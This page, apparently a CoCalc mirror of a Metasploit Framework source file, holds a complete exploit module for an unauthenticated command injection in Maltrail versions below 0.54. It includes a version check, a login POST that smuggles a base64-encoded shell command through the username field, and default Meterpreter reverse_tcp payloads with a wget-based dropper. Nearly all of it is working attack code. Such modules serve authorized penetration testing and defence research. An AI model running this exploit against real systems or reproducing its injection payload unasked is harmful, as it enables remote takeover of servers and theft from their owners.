CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/maltrail_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Maltrail Unauthenticated Command Injection',
18
'Description' => %q{
19
Maltrail is a malicious traffic detection system, utilizing publicly
20
available blacklists containing malicious and/or generally suspicious trails.
21
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
22
The `subprocess.check_output` function in `mailtrail/core/http.py` contains
23
a command injection vulnerability in the `params.get("username")` parameter.
24
An attacker can exploit this vulnerability by injecting arbitrary OS commands
25
into the username parameter. The injected commands will be executed with the
26
privileges of the running process. This vulnerability can be exploited remotely
27
without authentication.
28
29
Successfully tested against Maltrail versions 0.52 and 0.53.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Ege BALCI <egebalci[at]pm.me>', # msf module
34
'Chris Wild', # original PoC, analysis
35
],
36
'References' => [
37
['EDB', '51676'],
38
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
39
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
40
],
41
'Platform' => ['unix', 'linux'],
42
'Privileged' => false,
43
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
44
'Targets' => [
45
[
46
'Unix Command',
47
{
48
'Platform' => 'unix',
49
'Arch' => ARCH_CMD,
50
'Type' => :unix_cmd,
51
'DefaultOptions' => {
52
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
53
}
54
}
55
],
56
[
57
'Linux Dropper',
58
{
59
'Platform' => 'linux',
60
'Arch' => [ARCH_X86, ARCH_X64],
61
'Type' => :linux_dropper,
62
'CmdStagerFlavor' => :wget,
63
'DefaultOptions' => {
64
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
65
}
66
}
67
]
68
],
69
'DisclosureDate' => '2023-07-31',
70
'DefaultTarget' => 0,
71
'Notes' => {
72
'Stability' => [CRASH_SAFE],
73
'Reliability' => [REPEATABLE_SESSION],
74
'SideEffects' => []
75
}
76
)
77
)
78
register_options(
79
[
80
Opt::RPORT(8338),
81
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
82
]
83
)
84
end
85
86
def check
87
res = send_request_cgi(
88
'uri' => normalize_uri(target_uri.path),
89
'method' => 'GET'
90
)
91
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
92
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
93
94
version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}
95
96
if version < Rex::Version.new('0.54')
97
return CheckCode::Appears("Version Detected: #{version}")
98
end
99
100
CheckCode::Safe("Version Detected: #{version}")
101
end
102
103
def execute_command(cmd, _opts = {})
104
send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body
105
'uri' => normalize_uri(target_uri.path, 'login'),
106
'method' => 'POST',
107
'headers' => {
108
'ctype' => 'application/x-www-form-urlencoded'
109
},
110
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +
111
)
112
end
113
114
def exploit
115
case target['Type']
116
when :unix_cmd
117
print_status("Executing #{target.name}...")
118
execute_command(payload.encoded)
119
when :linux_dropper
120
print_status("Executing #{target.name}...")
121
execute_cmdstager
122
end
123
end
124
end
125
126